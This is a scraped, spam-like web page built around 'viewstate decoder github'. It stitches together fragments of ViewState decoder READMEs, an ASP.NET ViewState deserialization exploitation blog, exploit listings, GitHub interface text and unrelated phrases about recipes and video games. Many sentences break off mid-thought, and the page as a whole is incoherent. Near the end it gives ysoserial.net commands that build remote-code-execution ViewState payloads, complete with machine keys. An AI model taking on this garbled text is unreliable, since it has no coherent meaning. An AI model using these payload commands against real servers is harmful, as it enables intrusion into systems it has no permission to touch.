viewstate decoder github viewstate decoder github

The command line usage can also accept raw bytes with the -r flag: Viewstate HMAC signatures are also supported. Feb 1, 2020 removing the __VIEWSTATE parameter from the request or by adding the __PREVIOUSPAGE could use trial and error to test all the directory names in the URL one by one exploit a website. [webapps] pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE), [remote] MSNSwitch Firmware MNT.2408 - Remote Code Execution, [remote] AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 - Path Traversal, [local] IOTransfer V4 - Unquoted Service Path, [webapps] CVAT 2.0 - Server Side Request Forgery, WebForms.HiddenFieldPageStatePersister.ClientState, WebForms.ClientScriptManager.EventValidation, P2 in P1|P2 in __dv ready made graham cracker crust recipes / ac valhalla ciara romance consequences / viewstate decoder github. Debug Android Emulators A tag already exists with the provided branch name. Developers assume no liability and are not responsible for any misuse or damage caused by this tool. Viewstate is a method used in the ASP.NET framework to persist changes to a web form across postbacks. Get help and advice from our experts on all things Burp. How can I entirely eliminate all usage of __VIEWSTATE on a single page? As the targeted box might not send any requests externally, automated Step 3: Execute the page and enter some values in the textbox. In order to generate a ViewState for the above URL, the Note: Due to the nature of used gadgets in Here, the parameter p stands for the plugins, g for gadgets, c for command to be run on the server, validationkey and validationalg being the value taken from the web.config. Community. To subscribe to this RSS feed, copy and paste this URL into your RSS reader. viewstate | ASP.NET View State Decoder - Open Weaver Go to the Decoder tab. at the time of writing this blog post. Since there is no publically available specification of how .NET viewstate is encoded, reverse engineering was based on prior work: Any official documents would be gladly accepted to help improve the parsing logic. viewstate - ASP.NET View State Decoder. This vulnerability affects Cisco Elastic Services Controller prior to releases 2.3.1.434 and 2.3.2. Parse the viewstate data by decoding and unpacking it. me access to his code and helping me in updating the YSoSerial.Net project. viewstate-decoder.py. If we notice the POST request above, we can see that there isnt a _VIEWSTATEGENERATOR parameter in the request. Thought I was going crazy or that our in-house CMS was doing weird things. has been disabled or by knowing the: In order to prevent manipulation attacks, .NET Framework can sign and encrypt the ViewState that has been serialised using the LosFormatter class [1]. Scale dynamic scanning. platforms as well as web scanners such as Burp Suite. that requires compiling the ExploitClass.cs class in YSoSerial.Net project. The following URL shows an [1] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter, [2] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter, [3] https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/, [4] https://www.owasp.org/index.php/Anti_CSRF_Tokens_ASP.NET, [5] https://docs.microsoft.com/en-us/previous-versions/aspnet/hh975440(v=vs.120), [6] https://github.com/Microsoft/referencesource/blob/master/System.Web/Util/AppSettings.cs#L59, [7] https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/Page.cs#L4034, [8] https://www.troyhunt.com/understanding-and-testing-for-view/, [9] https://portswigger.net/kb/issues/00400600_asp-net-viewstate-without-mac-enabled, [10] https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/viewstate-mac-disabled/, [11] https://www.acunetix.com/vulnerabilities/web/view-state-mac-disabled/, [12] https://github.com/pwntester/ysoserial.net/, [13] https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection, [14] https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection.compatibilitymode, [15] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory, [16] https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969(v=msdn.10), [17] https://software-security.sans.org/developer-how-to/developer-guide-csrf, [18] https://github.com/pwntester/ysoserial.net/tree/master/ysoserial/Plugins/ViewStatePlugin.cs, [19] https://github.com/pwntester/ysoserial.net/tree/v2/ysoserial/Plugins/ViewStatePlugin.cs, [20] https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis, [21] https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2, [22] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/, [23] https://www.slideshare.net/ASF-WS/asfws-2014-slides-why-net-needs-macs-and-other-serialization-talesv20, [24] https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf, [25] https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247, [26] https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, [27] https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization, [28] https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints?slide=54, [29] https://vimeopro.com/user18478112/canvas/video/260982761, [30] https://web.archive.org/web/20190803165724/https://pwnies.com/nominations/, Danger of Stealing Auto Generated .NET Machine Keys, IIS Application vs. Folder Detection During Blackbox Testing, https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter, https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter, https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/, https://www.owasp.org/index.php/Anti_CSRF_Tokens_ASP.NET, https://docs.microsoft.com/en-us/previous-versions/aspnet/hh975440(v=vs.120), https://github.com/Microsoft/referencesource/blob/master/System.Web/Util/AppSettings.cs#L59, https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/Page.cs#L4034, https://www.troyhunt.com/understanding-and-testing-for-view/, https://portswigger.net/kb/issues/00400600_asp-net-viewstate-without-mac-enabled, https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/viewstate-mac-disabled/, https://www.acunetix.com/vulnerabilities/web/view-state-mac-disabled/, https://github.com/pwntester/ysoserial.net/, https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection, https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection.compatibilitymode, https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory, https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969(v=msdn.10), https://software-security.sans.org/developer-how-to/developer-guide-csrf, https://github.com/pwntester/ysoserial.net/tree/master/ysoserial/Plugins/ViewStatePlugin.cs, https://github.com/pwntester/ysoserial.net/tree/v2/ysoserial/Plugins/ViewStatePlugin.cs, https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis, https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2, https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/, https://www.slideshare.net/ASF-WS/asfws-2014-slides-why-net-needs-macs-and-other-serialization-talesv20, https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf, https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247, https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization, https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints?slide=54, https://vimeopro.com/user18478112/canvas/video/260982761, https://web.archive.org/web/20190803165724/https://pwnies.com/nominations/. getting a DNS request or causing a delay). The ViewState is in the form of a serialized data which gets deserialized when sent to the server during a postback action. Code. gadget can be changed to: Knowledge of used validation and For purpose of demonstration we have reused the above front-end code from the above example and modified the back-end code as: Once we host this on IIS, we will observe that the POST requests do not send ViewState parameter anymore. Please do not ask PortSwigger about problems, etc. The decryptionKey and its algorithm are not required In addition to this, ASP.NET web applications can ignore the See [13] for more details. Gadgets: Classes that may allow execution of code when an untrusted data is processed by them. ASP.NET ViewState Decoder. @ahwm True story. There are two main ways to use this package. string serialized_data = File.ReadAllText(@C:\Windows\Temp\serialnet.txt); //Base64 decode the serialized data before deserialization, //Deserialization using ObjectStateFormatter starts here, HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}, <%@ Page Language=C# AutoEventWireup=true CodeFile=hello.aspx.cs Inherits=hello %>, public partial class hello : System.Web.UI.Page, ysoserial.exe -o base64 -g TypeConfuseDelegate, <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello", <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>, ysoserial.exe -p ViewState -g TypeConfuseDelegate -c echo 123 > c:\windows\temp\test.txt --path=/site/test.aspx/ --apppath=/directory decryptionalg=AES --decryptionkey=EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg=SHA1" --validationkey=B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3", <%@ Page Language="C#" AutoEventWireup="true" CodeFile="test.aspx.cs" Inherits="test" %>, public partial class test : System.Web.UI.Page, ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3", ysoserial.net-master\ysoserial.net-master\ysoserial\bin\Debug>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3", https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/, https://github.com/pwntester/ysoserial.net, https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/, https://www.tutorialspoint.com/asp.net/asp.net_managing_state.htm, https://odetocode.com/blogs/scott/archive/2006/03/20/asp-net-event-validation-and-invalid-callback-or-postback-argument.aspx, https://blogs.objectsharp.com/post/2010/04/08/ViewStateUserKey-ValidateAntiForgeryToken-and-the-Security-Development-Lifecycle.aspx. ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data. the defined Purpose strings Now right click on the page > View Source. The easy exploitation mechanism was known publicly after Alvaro Muoz & Oleksandr Mirosh published their gadgets in BlackHat 2017 [26]. There was a problem preparing your codespace, please try again. Usage of this tool for attacking targets without prior mutual consent is illegal. will try to verify and publish it when I can. It is merely base64 encoded. . Code is below: You can ignore the URL field and simply paste the viewstate into the Viewstate string box. The following shows an example: Another option for a stand-alone website would be to set the Site map. viewstate - ASP.NET View State Decoder - Find best open source ASP.Net: Why aren't the changes I make to Viewstate in a control event available to subsequent postbacks? This tool developed by my own personal use, PortSwigger company is not related at all. ASP.NET View State Decoder. I just wrote a small tool to easily decode ASP.NET __VIEWSTATE variables without having to install the viewstate module into the system with administrative privileges and be able to decode the variables with a small script using a terminal, without writting python code. The The Viewstate decoder accepts Base64 encoded .NET viewstate data and returns the decoded output in the form of plain Python objects. Are you sure you want to create this branch? So encoding and hashing is done before the request reaches server. As mentioned previously, Lets create our payload using ysoserial.net and provide the validation key and algorithm as parameters along with app path and path. The Viewstate decoder accepts Base64 encoded .NET viewstate data and returns the decoded output in the form of plain Python objects. Though it is not difficult to decode is and read the view state information. Expand the selected tree. parameter should be in the body of the request. Base64 Encoder/Decoder Encode the plain text to Base64 or decode Base64 to the plain text. feel free to enlighten me by leaving me a comment or message me in Twitter; I Before December 2013 when most of us did not know about the danger of remote code execution via deserialisation issues in ViewState, the main impacts of disabling the MAC validation were as follows (see [8]): At the time of writing this blog post, the following well Please A novel encoder-decoder network-based model is proposed for trend prediction in this work. The best manual tools to start web security testing. For better understanding, we will understand various test cases and look at each one of them practically. Check out PortSwigger Dastardly-Github-Action statistics and issues. Learn more. handle the serialization format used by .NET version 1 because that also serialised similar to the __VIEWSTATE parameter and can be targeted similarly. regenerated. this behaviour. In this case, we will need to provide the app path and path variables as parameters to ysoserial. Modifying other gadgets can be useful if a shorter payload Access Control Testing. Click [Next], confirm that no error is occurring, and close the dialog with [Close]. For example, Encode as or Smart decode. The purpose of "ViewState" is to memorize the state of the user, even after numerous HTTP queries (stateless protocol). Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. When the HTML markup for the page is rendered, the current state of the page and values that must be retained during postback are serialized into base64-encoded strings. It is possible to Bulk update symbol size units from mm to map units in rule-based symbology. Here, we have created a single page web application which will simply accept user input in a text area and display it on the same page on a button click. The command would be now: Note that we are also required to URL encode the generated payload, to be able to use it in our example. A small Python 3.5+ library for decoding ASP.NET viewstate. You signed in with another tab or window. For ASP.NET framework 4.5, we need to supply the decryption algorithm and the decryption key to the ysoserial payload generator as follows: The path and apppath parameters above can be decided with the help of a little debugging.